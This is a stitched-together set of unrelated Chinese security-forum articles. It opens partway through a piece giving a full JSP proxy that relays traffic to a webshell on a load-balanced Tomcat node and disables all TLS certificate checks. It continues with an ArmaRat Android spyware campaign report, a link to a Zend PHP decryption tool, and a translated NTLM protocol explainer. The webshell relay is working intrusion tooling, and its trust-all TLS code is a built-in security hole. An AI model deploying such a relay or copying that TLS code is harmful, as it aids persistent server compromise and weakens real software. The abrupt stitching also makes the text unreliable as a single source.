虽然了解了原理，但是自己手改这样的代码其实还是比较复杂的，所以我决定将作者提供的内存马的实现类的`doFilter`方法改成我们的代理类的内容，所以要分析`MemBytes.getBytes`的逻辑。`getBytes`根据传入的类型找到`classname`，再根据`classname`从`MEM_TOOLS`中找到实现类的字节码。
这个字节码在初始化时就会被放入Map中，所以理论上来讲，只要我们在Map里添加代理和实现类的Base64编码就可以扩展这个功能了。
理论上是这样没错，可是我将Proxy添加到map中，编译后覆盖掉原有的类后发现我的`ProxyFilter`并没有在界面上显示。
分析源码后发现这些值是写死的，所以不能通过这种方式扩展，只能通过将原有的`Filter`覆盖为我们的Proxy的方式来实现。可惜作者没有在GITHUB开源，二开不太方便。
### SSL问题
本以为到这里就结束了，但目标是开启了SSL的tomcat,而这个SSL可能是使用的自签名，所以直接去请求会报错，我本地也给tomcat开启了SSL进行访问测试，发现会爆一个SSL的异常，所以这里我们还要加上一个判断，忽略SSL的验证。
### 完整实现
最后给出完整实现的JSP版本。
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="javax.net.ssl.*" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.DataInputStream" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.OutputStream" %>
<%@ page import="java.net.HttpURLConnection" %>
<%@ page import="java.net.URL" %>
<%@ page import="java.security.KeyManagementException" %>
<%@ page import="java.security.NoSuchAlgorithmException" %>
<%@ page import="java.security.cert.CertificateException" %>
<%@ page import="java.security.cert.X509Certificate" %>
<%!
public static void ignoreSsl() throws Exception {
HostnameVerifier hv = new HostnameVerifier() {
public boolean verify(String urlHostName, SSLSession session) {
return true;
}
};
trustAllHttpsCertificates();
HttpsURLConnection.setDefaultHostnameVerifier(hv);
}
private static void trustAllHttpsCertificates() throws Exception {
TrustManager[] trustAllCerts = new TrustManager[] { new X509TrustManager() {
public X509Certificate[] getAcceptedIssuers() {
return null;
}
@Override
public void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
// Not implemented
}
@Override
public void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
// Not implemented
}
} };
try {
SSLContext sc = SSLContext.getInstance("TLS");
sc.init(null, trustAllCerts, new java.security.SecureRandom());
HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());
} catch (KeyManagementException e) {
e.printStackTrace();
} catch (NoSuchAlgorithmException e) {
e.printStackTrace();
}
}
%>
<%
String target = "https://127.0.0.1:8443/test666.jsp";
URL url = new URL(target);
if ("https".equalsIgnoreCase(url.getProtocol())) {
ignoreSsl();
}
HttpURLConnection conn = (HttpURLConnection)url.openConnection();
StringBuilder sb = new StringBuilder();
conn.setRequestMethod(request.getMethod());
conn.setConnectTimeout(30000);
conn.setDoOutput(true);
conn.setDoInput(true);
conn.setInstanceFollowRedirects(false);
conn.connect();
ByteArrayOutputStream baos=new ByteArrayOutputStream();
OutputStream out2 = conn.getOutputStream();
DataInputStream in=new DataInputStream(request.getInputStream());
byte[] buf = new byte[1024];
int len = 0;
while ((len = in.read(buf)) != -1) {
baos.write(buf, 0, len);
}
baos.flush();
baos.writeTo(out2);
baos.close();
InputStream inputStream = conn.getInputStream();
OutputStream out3=response.getOutputStream();
int len2 = 0;
while ((len2 = inputStream.read(buf)) != -1) {
out3.write(buf, 0, len2);
}
out3.flush();
out3.close();
%>
## 参考文章
* [负载均衡下的 WebShell 连接](https://mp.weixin.qq.com/s/4Bmz_fuu0yrLMK1oBKKtRA) | 社区文章 |
# ArmaRat：针对伊朗用户长达两年的间谍活动
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 一、 主要发现
2016年7月起至今，360烽火实验室发现一起针对伊朗Android手机用户长达两年之久的间谍活动。截至目前我们一共捕获了Android 样本18个，涉及的
C&C 域名5个。
2016 年7月，我们捕获了第一个Android平台下伪装成“Telegram Channel
Assistance”应用的木马，在此后的两年中，我们又先后捕获了与此相关的数十个变种。我们发现，该木马主要伪装成社交、系统、色情视频及Adobe
flash player等应用，借助社交软件Telegram进行传播。
木马的恶意行为演变过程大致分为4个版本，最初版本会伪造联系人，获取手机基本信息，静默拍照，拦截并转发指定短信信息。随着版本变化，木马的恶意行为不断增多，最新版本存在20多种恶意行为。入侵成功后攻击者可以完全控制用户手机，并对用户手机进行实时监控。
由于该木马演变过程中C&C及代码结构均出现“arma”关键字，所以我们将该木马家族命名为“ArmaRat”。
## 二、 受影响地区
2016年7月起至今，根据我们的监测受到ArmaRat木马影响的地区主要是伊朗，占比高达91%。
## 三、 感染链
通过对感染的用户手机进一步分析，我们发现了ArmaRat木马的传播方式。攻击者借助社交软件Telegram分享经过伪装的ArmaRat木马，用户下载安装运行后，会释放伪装成系统应用的恶意子包，诱导用户进行安装操作。
## 四、 伪装对象
ArmaRat木马主要伪装成社交、系统、色情视频及Adobe flash
player等应用，其中还包括伪装成伊朗特色节日“诺鲁孜节”的应用。诺鲁孜节是伊朗、中亚及我国部分少数民族的节日，是为进入春耕生产，绿化、美化、净化环境做准备的节日。
## 五、 后门分析
我们根据捕获到的ArmaRat木马变种的打包时间，恶意行为以及代码结构，将其演变过程分为4个版本。
从版本1到版本4，ArmaRat木马功能不断增多，下图为每个版本的功能的迭代变化情况。
另外，我们发现与普通的恶意软件行为相比，ArmaRat木马的一些恶意行为极为少见：
（1）伪造Telegram钓鱼页面
（2）窃取Telegram验证码短信
（3）伪造联系人
将控制号码9850001333125467伪装成“Telegram”或者“HAMRAHAVVAL”（疑似与伊朗电信提供商MCI相关）插入到联系人，推测为了更好的隐藏控制号码发送短信的行为记录。
## 六、 C&C分析
我们以时间轴和不同颜色的方式来展示ArmaRat木马的C&C变化情况：
红色部分：C&C前面几乎都是以“mcyvpn”开头，不同时间段URL的path部分分别是 “tgp”、“armaphone”，并且更换了新域名；
紫色部分：URL的path部分出现关键字“arma”，其中2017年2月出现了“192.168.92.10”的测试IP，之后的一段时间path部分均为“armaspyware”；
黑色部分：直到今年3月C&C更换成指定的IP，但path部分与前一阶段保持一致，均为“spydb_api.php”；
ArmaRat木马的C&C主要使用动态域名，动态域名占比82%。动态域名可以将任意变换的IP地址绑定给一个固定的二级域名。不管这个线路的IP地址怎样变化，因特网用户还是可以使用这个固定的域名，来访问或登录用这个动态域名建立的服务器。分析人员和网络执法人员主要根据IP地址对木马服务器进行定位，如果木马使用动态域名的方式，即意味着木马服务器的IP地址时刻在改变，由此增加了追踪的难度。
ArmaRat木马C&C与样本关系如下图，可以看出样本与C&C之间通过一些特殊字符“mcyvpn”、“arma”、“spydb_api.php”进行关联的整体情况。
## 七、 总结
经过我们分析，ArmaRat木马长达两年的间谍活动背后的攻击者，回传隐私信息使用伊朗区号98，远控的短信指令包含波斯语，通过伪装的软件可以看出攻击者了解伊朗的传统节日。
近年来伊朗局势每况愈下，社会环境的动荡带来了更多负面效果，网络攻击日渐频繁，国外安全公司不断曝出TeleRAT、HeroRat等针对伊朗用户的攻击活动，这次发现的ArmaRat是又一实例，我们预测类似这种攻击活动还将继续，伴随着伊朗局势的不稳定会更加严重。 | 社区文章 |
工具作者：[seay](http://www.cnseay.com/4498/)
from：http://www.cnseay.com/4498/
最近在读一些有zend 5.4加密的代码，之前的黑刀无法解密5.4，网上找了下发现大多要收费，有一个工具叫G-DeZender能解5.4，但是未付费版本每点一次只能解密一个文件，这TM四五千个文件点完会死人的。
丢给公司的小莫同志研究了下，抓了下这个程序的进程，发现这个程序也是调用的本地文件去解密，那直接写个循环调用不就完了。。。
花了点时间抄了个SeayDzend，支持zend 5.2，zend5.3，zend5.4 的解密，造福下大众。
**下载地址：** https://pan.baidu.com/s/1c14V6pi
* * * | 社区文章 |
# NTLM认证协议与SSP（下）——NTLM中高级进阶
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
上篇：<https://www.anquanke.com/post/id/210323>
内容参考原文链接：<http://davenport.sourceforge.net/ntlm.html>
翻译人：rootclay（香山）<https://github.com/rootclay>
Gitbook：<https://rootclay.gitbook.io/ntlm/>
## 说明
本文是一篇NTLM中高级进阶文章，文中大部分参考来自于[Sourceforge](http://davenport.sourceforge.net/ntlm.html)，原文中已经对NTLM讲解非常详细，在学习的过程中思考为何不翻译之，做为学习和后续回顾的文档，并在此基础上添加自己的思考，因此出现了这篇文章，在翻译的过程中会有部分注解与新加入的元素，后续我也会在Github对此文进行持续性的更新NTLM以及常见的协议中高级进阶并计划开源部分协议调试工具，望各位issue勘误。
## 摘要
本文旨在以中级到高级的详细级别描述NTLM身份验证协议(authentication protocol)和相关的安全支持提供程序功能(security
support provider
functionality)，作为参考。希望该文档能发展成为对NTLM的全面描述。目前，无论是在作者的知识还是在文档方面，都存在遗漏，而且几乎可以肯定的说本文是不准确的。但是，该文档至少应能够为进一步研究提供坚实的基础。本文提供的信息用作在开放源代码jCIFS库中实现NTLM身份验证的基础，该库可从
http://jcifs.samba.org获得。本文档基于作者的独立研究，并分析了[Samba](http://www.samba.org/)软件套件。
## NTLM版本2(NTLM Version 2)
NTLM版本2包含三种新的响应算法（NTLMv2，LMv2和NTLM2会话响应，如前所述）和新的签名和Sealing方案（NTLM2会话安全性）。NTLM2会话安全性是通过”Negotiate
NTLM2
Key”FlagsNegotiate的；但是，可以通过修改注册表来启用NTLMv2身份验证。此外，客户端和域控制器上的注册表设置必须兼容才能成功进行身份验证（尽管NTLMv2身份验证有可能通过较旧的服务器传递到NTLMv2域控制器）。部署NTLMv2所需的配置和计划的结果是，许多主机仅使用默认设置（NTLMv1），而不怎么使用NTLMv2进行身份验证。
Microsoft知识库文章239869 中详细介绍了启用NTLM版本2的说明 。简要地，对注册表值进行了修改：
`HKEY_LOCAL_MACHINESystemCurrentControlSetControlLSALMCompatibilityLevel`
（基于Win9x的系统上的LMCompatibility）。这是一个 REG_DWORD条目，可以设置为以下值之一：
Level | Sent by Client | Accepted by Server
---|---|---
0 | LM<br>NTLM | LM<br>NTLM<br>LMv2<br>NTLMv2
1 | LM<br>NTLM | LM<br>NTLM<br>LMv2<br>NTLMv2
2 | NTLM | LM<br>NTLM<br>LMv2<br>NTLMv2
3 | LMv2<br>NTLMv2 | LM<br>NTLM<br>LMv2<br>NTLMv2
4 | LMv2<br>NTLMv2 | NTLM<br>LMv2<br>NTLMv2
5 | LMv2<br>NTLMv2 | LMv2<br>NTLMv2
在所有级别中，都支持NTLM2会话安全性并在可用时进行Negotiate（大多数可用文档表明NTLM2会话安全性仅在级别1和更高级别上启用，但实际上在级别0上也可以看到）。默认情况下，在Windows
95和Windows 98平台上仅支持LM响应。安装Directory
Services之后的客户端使NTLMv2也可以在这些主机上使用（并启用LMCompatibility 设置，尽管仅级别0和3可用）。
在级别2中，客户端两次发送NTLM响应（在LM和NTLM响应字段中）。在级别3和更高级别，LMv2和NTLMv2响应分别替换LM和NTLM响应。
协商了NTLM2会话安全性后（由”Negotiate NTLM2
Key”Flags指示），可以在级别0、1和2中使用NTLM2会话响应来代替较弱的LM和NTLM响应。与NTLMv1相比，这可以提供针对基于服务器的预先计算的字典攻击的增强保护。通过向计算中添加随机的客户随机数，可以使客户对给定challenge的响应变得可变。
NTLM2 session
response很有趣，因为它可以在支持较新方案的客户端和服务器之间进行Negotiate，即使存在不支持较旧域控制器的情况也是如此。在通常情况下，身份验证事务中的服务器实际上并不拥有用户的密码哈希；而是保留在域控制器中。将计算机加入使用NT风格认证的域时，它会建立到域控制器（俗称”
NetLogon pipe”）的经过加密，相互认证的通道。当客户端使用”原始” NTLMv1握手向服务器进行身份验证时，在后台进行以下事务：
1. 客户端发送Type 1消息，其中包含Flags和其他信息，如前所述。
2. 服务器为客户端生成一个质询，并发送包含Negotiate Flags集的Type 2消息。
3. 客户响应challenge，提供LM / NTLM响应。
4. 服务器通过NetLogon管道将质询和客户端响应发送到域控制器。
5. 域控制器使用存储的哈希值和服务器给出的质询来重现身份验证计算。如果它们与响应匹配，则认证成功。
6. 域控制器计算Session Key并将其发送到服务器，该Session Key可用于服务器和客户端之间的后续签名和Sealing操作。
在NTLM2会话响应的情况下，可能已升级了客户端和服务器以允许较新的协议，而域控制器却没有。为了考虑到这种情况，对上述握手进行了如下修改：
1. 客户端发送Type 1消息，在这种情况下，该消息指示”Negotiate NTLM2 Key”Flags。
2. 服务器为客户端生成质询，并发送包含NegotiateFlags集（还包括”Negotiate NTLM2 Key”Flags）的Type 2消息。
3. 客户端响应challenge，在LM字段中提供client nonce，并在NTLM字段中提供NTLM2会话响应（NTLM2 Session Response）。请注意，后者的计算与NTLM响应完全相同，只是客户端没有对服务器质询进行加密，而是对与client nonce连接的服务器质询的MD5哈希进行了加密。
4. 服务器不是将服务器质询直接通过NetLogon管道直接发送到域控制器，而是将服务器质询的MD5哈希与client nonce连接在一起（从LM响应字段中提取）。此外，它还发送客户端响应（照常）。
5. 域控制器使用存储的哈希作为Key对服务器发送的质询字段进行加密，并验证它与NTLM响应字段匹配；因此，客户端已成功通过身份验证。
6. 域控制器计算正常的NTLM用户Session Key并将其发送到服务器；服务器在次要计算中使用它来获取NTLM2会话响应用户Session Key（在后续部分中讨论 ）
本质上，这允许已升级的客户端和服务器在尚未将域控制器升级到NTLMv2（或者网络管理员尚未将LMCompatibilityLevel注册表设置配置为使用NTLMv2）的网络中使用NTLM2会话响应。
与LMCompatibilityLevel设置相关的是
NtlmMinClientSec和NtlmMinServerSec设置。这些规定了由NTLMSSP建立的NTLM上下文的最低要求。两者都是
REG_WORD条目，并且是指定以下NTLMFlags组合的位域：
1. Negotiate Sign（0x00000010）-指示必须在支持消息完整性（签名）的情况下建立上下文。
2. Negotiate Seal（0x00000020）-指示必须在支持消息机密性（Sealing）的情况下建立上下文。
3. Negotiate NTLM2 Key（0x00080000）-指示必须使用NTLM2会话安全性来建立上下文。
4. Negotiate 128（0x20000000）-指示上下文必须至少支持128位签名/SealingKey。
5. Negotiate 56（0x80000000）-指示上下文必须至少支持56位签名/SealingKey。
尽管其中大多数都更适用于NTLM2签名和Sealing，但”Negotiate NTLM2
Key”对于身份验证很重要，因为它可以防止与无法NegotiateNTLM2会话安全性的主机建立会话。这用于确保不发送LM和NTLM响应（要求认证在所有情况下至少将使用NTLM2会话响应）。
## NTLMSSP和SSPI
在这一点上，我们将开始研究NTLM如何适应”大局”（big
picture）。关于SSPI内容也可以查看本链接中的简单说明[SSPI](https://daiker.gitbook.io/windows-protocol/ntlm-pian/4#0x04-ssp-and-sspi)
Windows提供了一个称为SSPI的安全框架-安全支持提供程序接口。这与GSS-API（通用安全服务应用程序接口，RFC 2743
）在Microsoft中等效。 ），并允许应用认证，完整性和机密性原语的非常高级的机制无关的方法。SSPI支持多个基础提供程序（Kerberos、Cred
SSP、Digest SSP、Negotiate SSP、Schannel SSP、Negotiate Extensions SSP、PKU2U
SSP）。其中之一就是NTLMSSP（NTLM安全支持提供程序），它提供了到目前为止我们一直在讨论的NTLM身份验证机制。SSPI提供了一个灵活的API，用于处理不透明的，特定于提供程序的身份验证令牌。NTLM
Type 1，Type 2和Type
3消息就是此类令牌，专用于NTLMSSP并由其处理。SSPI提供的API几乎抽象了NTLM的所有细节。应用程序开发人员甚至不必知道正在使用NTLM，并且可以交换另一种身份验证机制（例如Kerberos），而在应用程序级别进行的更改很少或没有更改。
在系统层面，SSP就是一个dll，来实现身份验证等安全功能，实现的身份验证机制是不一样的。比如 NTLM SSP 实现的就是一种
Challenge/Response 验证机制。而 Kerberos 实现的就是基于 ticket 的身份验证机制。我们可以编写自己的
SSP，然后注册到操作系统中，让操作系统支持更多的自定义的身份验证方法。
我们不会对SSPI框架进行深入研究，但这是研究应用于NTLM的SSPI身份验证握手的好方法：
1. 客户端通过SSPI AcquireCredentialsHandle函数为用户获取证书集的表示。
2. 客户端调用SSPI InitializeSecurityContext函数以获得身份验证请求令牌（在我们的示例中为Type 1消息）。客户端将此令牌发送到服务器。该函数的返回值表明身份验证将需要多个步骤。
3. 服务器从客户端接收令牌，并将其用作AcceptSecurityContext SSPI函数的输入 。这将在服务器上创建一个表示客户端的本地安全上下文，并生成一个身份验证响应令牌（Type 2消息），该令牌将发送到客户端。该函数的返回值指示需要客户端提供更多信息。
4. 客户端从服务器接收响应令牌，然后再次调用 InitializeSecurityContext，并将服务器的令牌作为输入传递。这为我们提供了另一个身份验证请求令牌（Type 3消息）。返回值指示安全上下文已成功初始化；令牌已发送到服务器。
5. 服务器从客户端接收令牌，并使用Type 3消息作为输入再次调用 AcceptSecurityContext。返回值指示上下文已成功接受；没有令牌产生，并且认证完成。
### 本地认证（Local Authentication）
我们在讨论的各个阶段都提到了本地身份验证序列。对SSPI有基本的了解后，我们可以更详细地研究这种情况。
基于NTLM消息中的信息，客户端和服务器通过一系列决策来协商本地身份验证。其工作方式如下：
1. 客户端调用AcquireCredentialsHandle函数，通过将null传递给”pAuthData”参数来指定默认凭据。这将获得用于单点登录的登录用户凭据的句柄。
2. 客户端调用SSPI InitializeSecurityContext函数来创建Type 1消息。提供默认凭据句柄时，Type 1消息包含客户端的工作站和域名。这由”Negotiate Domain Supplied”和”Negotiate Workstation Supplied”Flags的存在以及消息中包含已填充的”已提供的域（Supplied Domain）”和”工作站的安全性（Supplied Workstation security）”标记来表明。
3. 服务器从客户端接收Type 1消息，并调用 AcceptSecurityContext。这将在服务器上创建一个代表客户端的本地安全上下文。服务器检查客户端发送的域和工作站信息，以确定客户端和服务器是否在同一台计算机上。如果是这样，则服务器通过在结果2类消息中设置”Negotiate Local Call”Flags来启动本地身份验证。Type 2消息的Context字段中的第一个long填充了新获得的SSPI上下文句柄的”upper”部分（特别是SSPI CtxtHandle结构的” dwUpper”字段）。第二个long在所有情况下，”上下文”字段中的”空白”都为空。（尽管从逻辑上讲，它会假定它应包含上下文句柄的”下部”部分）。
4. 客户端从服务器接收Type 2消息，并将其传递给 InitializeSecurityContext。注意了”Negotiate Local Call”Flags的存在之后，客户端检查服务器上下文句柄以确定它是否代表有效的本地安全上下文。如果无法验证上下文，则身份验证将照常进行-计算适当的响应，并将其包含在Type 3消息中的域，工作站和用户名中。如果来自Type 2消息的安全上下文句柄可以验证，但是，没有准备任何答复。而是，默认凭据在内部与服务器上下文相关联。生成的Type 3消息完全为空，其中包含响应长度为零的安全缓冲区以及用户名，域和工作站。
5. 服务器收到Type 3消息，并将其用作AcceptSecurityContext函数的输入 。服务器验证安全上下文已与用户关联；如果是这样，则认证已成功完成。如果上下文尚未绑定到用户，则身份验证失败。
### 数据报认证（Datagram Authentication）（面向无连接）
数据报样式验证用于通过无连接传输Negotiate NTLM。尽管消息周围的许多语义保持不变，但仍存在一些重大差异：
1. 在第一次调用InitializeSecurityContext的过程中，SSPI不会创建Type 1消息 。
2. 身份验证选项由服务器提供，而不是由客户端请求。
3. Type 3消息中的Flags将会有用（如在面向连接的身份验证中）。
在”normal”（面向连接）身份验证期间，在交换Type 1和Type
2消息期间，所有选项都在客户端和服务器之间的第一个事务中Negotiate。Negotiate的设置由服务器”remembered”，并应用于客户端的Type
3消息。尽管大多数客户端发送带有Type
3消息的Negotiate一致的Flags，但它们未用于连接身份验证。（注：也就是Type3消息的Flag是没有用的）
但是，在数据报身份验证中，规则发生了一些变化。为了减轻服务器跟踪Negotiate选项的需要（如果没有持久连接，这将变得困难），将Type
1消息完全删除。服务器生成包含所有受支持Flags的Type 2消息（当然还有质询）。然后，客户端决定它将支持哪些选项，并以Type
3消息进行答复，其中包含对质询的响应和一组选定Flags。数据报认证的SSPI握手序列如下：
1. 客户端调用AcquireCredentialsHandle以获得用户证书集的表示。
2. 客户端调用InitializeSecurityContext，并通过fContextReq参数将 ISC_REQ_DATAGRAMFlags作为上下文要求传递。这将启动客户端的安全上下文的建设，但并没有产生令牌的请求（Type 1的消息）。
3. 服务器调用AcceptSecurityContext函数，指定 ASC_REQ_DATAGRAM上下文要求Flags并传入空输入令牌。这将创建本地安全上下文，并生成身份验证响应令牌（Type 2消息）。此Type 2消息将包含”Negotiate数据报样式”Flags，以及服务器支持的所有Flags。照常发送给客户端。
4. 客户端收到Type 2消息，并将其传递给 InitializeSecurityContext。客户端从服务器提供的选项中选择适当的选项（包括必须设置的”Negotiate数据报样式”），创建对质询的响应，并填充Type 3消息。然后，该消息将中继到服务器。
5. 服务器将Type 3消息传递到AcceptSecurityContext 函数中。根据客户端选择的Flags来处理消息，并且上下文被成功接受。
与SSPI一起使用时，显然无法产生数据报样式的Type 1消息。但是，有趣的是，我们可以通过巧妙地操纵NTLMSSP令牌来产生我们自己的数据报Type
1令牌，从而在较低级别上”诱导”数据报语义。
这可以通过在将令牌传递到服务器之前，在面向连接的SSPI握手中在第一个InitializeSecurityContext调用产生的Type
1消息上设置”NegotiateNegotiate Datagram Style”Flags来实现。当将修改后的Type 1消息传递到
AcceptSecurityContext函数中时，服务器将采用数据报语义（即使未指定ASC_REQ_DATAGRAM）。这将产生设置了”Negotiate
Datagram Style”Flags的2类消息，但与通常会生成的面向连接的消息相同；也就是说，在构造Type 2消息时会考虑客户端发送的Type
1Flags，而不是简单地提供所有受支持的选项。
然后，客户端可以使用此Type 2令牌调用InitializeSecurityContext。请注意，客户端仍处于面向连接的模式。生成的Type
3消息将忽略应用于Type 2消息的”Negotiate Datagram
Style”Flags。但是，服务器正在执行数据报语义，并且现在将要求正确设置Type 3Flags。在将”Negotiate Datagram
Style”Flags添加到Type 3消息之前，将其手动发送到服务器之前，可以使服务器使用修改后的令牌成功调用
AcceptSecurityContext。
这样可以成功进行身份验证；”篡改”Type 1消息有效地将服务器切换到数据报式身份验证，其中将观察并强制使用Type
3Flags。目前没有已知的实际用途，但是它确实演示了可以通过策略性地处理NTLM消息来观察到的一些有趣和意外的行为。
## 会话安全性-签名和盖章概念（Session Security – Signing & Sealing Concepts）
除了SSPI身份验证服务，还提供了消息完整性和机密性功能。这也由NTLM安全支持提供程序实现。”签名”由SSPI
MakeSignature函数执行，该函数将消息验证码（MAC）应用于消息（message）。收件人可以对此进行验证，并且可以强有力地确保消息在传输过程中没有被修改。签名是使用发送方和接收方已知的Key生成的；MAC只能由拥有Key的一方来验证（这反过来可以确保签名是由发送方创建的）。”Sealing”由SSPI
EncryptMessage执行功能。这会对消息应用加密，以防止传输中的第三方查看它（类似HTPPS）；NTLMSSP使用多种对称加密机制（使用相同的Key进行解密和加密）。
NTLM身份验证过程的同时会建立用于签名和Sealing的Key。除了验证客户端的身份外，身份验证握手还在客户端和服务器之间建立了一个上下文，其中包括在各方之间签名和Sealing消息所需的Key。我们将讨论这些Key的产生以及NTLMSSP用于签名和Sealing的机制。
在签名和盖章过程中采用了许多关键方案。我们将首先概述不同Type的Key和核心会话安全性概念。
### The User Session Key
这是会话安全中使用的基本Key Type。有很多变体：
* LM User Session Key
* NTLM User Session Key
* LMv2 User Session Key
* NTLMv2 User Session Key
* NTLM2 Session Response User Session Key
所使用的推导方法取决于Type 3消息中发送的响应。这些变体及其计算概述如下。
**LM User Session Key**
仅在提供LM响应时（即，对于Win9x客户端）使用。LM用户Session Key的得出如下：
1. 16字节LM哈希（先前计算）被截断为8字节。
2. 将其空填充为16个字节。该值是LM用户Session Key。
与LM哈希本身一样，此Key仅响应于用户更改密码而更改。还要注意，只有前7个密码字符输入了Key（请参阅LM响应的计算过程 ； LM用户Session
Key是LM哈希的前半部分）。此外，Key空间实际上要小得多，因为LM哈希本身基于大写密码。所有这些因素加在一起使得LM用户Session
Key非常难以抵抗攻击。
**NTLM User Session Key**
客户端发送NTLM响应时，将使用此变体。Key的计算非常简单：
1. 获得NTLM哈希（Unicode大小写混合的密码的MD4摘要，先前已计算）。
2. MD4消息摘要算法应用于NTLM哈希，结果为16字节。这是NTLM用户Session Key。
NTLM用户Session Key比LM用户Session
Key有了很大的改进。密码空间更大（区分大小写，而不是将密码转换为大写）；此外，所有密码字符都已输入到Key生成中。但是，它仍然仅在用户更改其密码时才更改。这使得离线攻击变得更加容易。
**LMv2 User Session Key**
发送LMv2响应（但不发送NTLMv2响应）时使用。派生此Key有点复杂，但并不十分复杂：
1. 获得NTLMv2哈希（如先前计算的那样）。
2. 获得LMv2client nonce（用于LMv2响应）。
3. 来自Type 2消息的质询与client nonce串联在一起。使用NTLMv2哈希作为Key，将HMAC-MD5消息认证代码算法应用于此值，从而得到16字节的输出值。
4. 再次使用NTLMv2哈希作为Key，将HMAC-MD5算法应用于该值。结果为16个字节的值是LMv2 User Session Key。
LMv2 User Session
Key相对于基于NTLMv1的Key提供了一些改进。它是从NTLMv2哈希派生而来的（它本身是从NTLM哈希派生的），它特定于用户名和域/服务器。此外，服务器质询和client
nonce都为Key计算提供输入。Key计算也可以简单地表示为LMv2响应的前16个字节的HMAC-MD5摘要（使用NTLMv2哈希作为Key）。
**NTLMv2 User Session Key**
发送NTLMv2响应时使用。该Key的计算与LMv2用户Session Key非常相似：
1. 获得NTLMv2哈希（如先前计算的那样）。
2. 获得NTLMv2”blob”（与NTLMv2响应中使用的一样）。
3. 来自Type 2消息的challenge与Blob连接在一起作为待加密值。使用NTLMv2哈希作为Keykey，将HMAC-MD5消息认证代码算法应用于此值，从而得到16字节的输出值。
4. 再次使用NTLMv2哈希作为Key，将HMAC-MD5算法应用于第三步的值。结果为16个字节的值是NTLMv2用户Session Key。
NTLMv2 User Session Key在密码上与LMv2 User Session
Key非常相似。可以说是NTLMv2响应的前16个字节的HMAC-MD5摘要（使用NTLMv2哈希作为关键字）。
**NTLM2 Session Response User Session Key**
当NTLMv1身份验证与NTLM2会话安全性一起使用时使用。该Key是从NTLM2会话响应信息中派生的，如下所示：
1. 如前所述，将获得NTLM User Session Key。
2. 获得session nonce（先前已讨论过，这是Type 2质询和NTLM2会话响应中的随机数的串联）。
3. 使用NTLM User Session Key作为Key，将HMAC-MD5算法应用于session nonce。结果为16个字节的值是NTLM2会话响应用户Session Key。
NTLM2会话响应用户Session Key的显着之处在于它是在客户端和服务器之间而不是在域控制器上计算的。域控制器像以前一样导出NTLM用户Session
Key，并将其提供给服务器。如果已经与客户端Negotiate了NTLM2会话安全性，则服务器将使用NTLM用户Session
Key作为MACKey来获取session nonce的HMAC-MD5摘要。
**空用户Session Key（The Null User Session Key）**
当执行匿名身份验证时，将使用Null用户Session Key。这很简单；它只有16个空字节（”
0x000000000000000000000000000000000000 “）。
### Lan Manager Session Key
Lan Manager Session Key是User Session Key的替代方法，用于在设置”Negotiate Lan Manager Key”
NTLM Flags时派生NTLM1签名和Sealing中的Key。Lan ManagerSession Key的计算如下：
1. 16字节LM哈希（先前计算）被截断为8字节。
2. 这将填充为14个字节，其值为”0xbdbdbdbdbdbdbd “。
3. 该值分为两个7字节的一半。
4. 这些值用于创建两个DESKey（每个7字节的一半为一个）。
5. 这些Key中的每一个都用于对LM响应的前8个字节进行DES加密（导致两个8字节密文值）。
6. 这两个密文值连接在一起形成一个16字节的值-Lan ManagerSession Key。
请注意，Lan ManagerSession
Key基于LM响应（而不是简单的LM哈希），这意味着它将响应于不同的服务器challenge而更改。与仅基于密码哈希的LM和NTLM用户Session
Key相比，这是一个优势。Lan ManagerSession Key会针对每个身份验证操作进行更改，而LM / NTLM用户Session
Key将保持不变，直到用户更改其密码为止。因此，Lan ManagerSession Key比LM用户Session
Key（两者具有相似的Key强度，但Lan ManagerSession Key可以防止重放攻击）要强得多。NTLM用户Session
Key具有完整的128位Key空间，但与LM用户Session Key一样，在每次身份验证时也不相同。
### Key Exchange（密钥交换）
当设置”Negotiate Key Exchange”Flags时，客户端和服务器将会就”secondary”Key达成共识，该Key用于代替Session
Key进行签名和Sealing。这样做如下：
1. 客户端选择一个随机的16字节Key（辅助Key，也就是py-ntlm中的exported_session_key）。
2. Session Key（User Session Key或Lan Manager Session Key，取决于”Negotiate Lan ManagerKey”Flags的状态）用于RC4加密辅助Key。结果是一个16字节的密文值（注：也就是py-ntlm中的encrypted_random_session_key）。
3. 此值在Type 3消息的”Session Key”字段中发送到服务器。
4. 服务器接收Type 3消息并解密客户端发送的值（使用带有用户Session Key或Lan ManagerSession Key的RC4）。
5. 结果值是恢复的辅助Key，并代替Session Key进行签名和Sealing。
此外，密钥交换过程巧妙地更改了NTLM2会话安全性中的签名协议（在后续部分中讨论）。
### 弱化Key（Key Weakening）
根据加密输出限制，用于签名和Sealing的Key已被弱化（”weakened”）（注：可能是由于加密性能原因）。Key强度由”Negotiate128”和”Negotiate56”Flags确定。使用的最终Key的强度是客户端和服务器都支持的最大强度。如果两个Flags都未设置，则使用默认的Key长度40位。NTLM1签名和Sealing支持40位和56位Key；NTLM2会话安全性支持40位，56位和不变的128位Key。
## NTLM1会话安全
NTLM1是”原始” NTLMSSP签名和Sealing方案，在未协商”Negotiate NTLM2
Key”Flags时使用。此方案中的Key派生由以下NTLM的Flags驱动：
Flag | 说明
---|---
Negotiate Lan Manager Key | 设置后，Lan Manager会话密钥将用作签名和密封密钥（而不是用户会话密钥）的基础。
如果未建立，则用户会话密钥将用于密钥派生。（When set, the Lan Manager Session Key is used as the
basis for the signing and sealing keys (rather than the User Session Key). If
not established, the User Session Key will be used for key derivation. ）
Negotiate 56 | 表示支持56位密钥。 如果未协商，将使用40位密钥。 这仅适用于与“协商Lan Manager密钥”结合使用；
在NTLM1下，用户会话密钥不会减弱（因为它们已经很弱）。（Indicates support for 56-bit keys. If not
negotiated, 40-bit keys will be used. This is only applicable in combination
with “Negotiate Lan Manager Key”; User Session Keys are not weakened under
NTLM1 (as they are already weak).）
Negotiate Key Exchange | 表示将执行密钥交换以协商用于签名和密封的辅助密钥。（Indicates that key exchange
will be performed to negotiate a secondary key for signing and sealing.）
### NTLM1Key派生
要产生或是派生NTLM1Key本质上是一个三步过程：
1. Master key negotiation
2. Key exchange
3. Key weakening
**Master key negotiation**
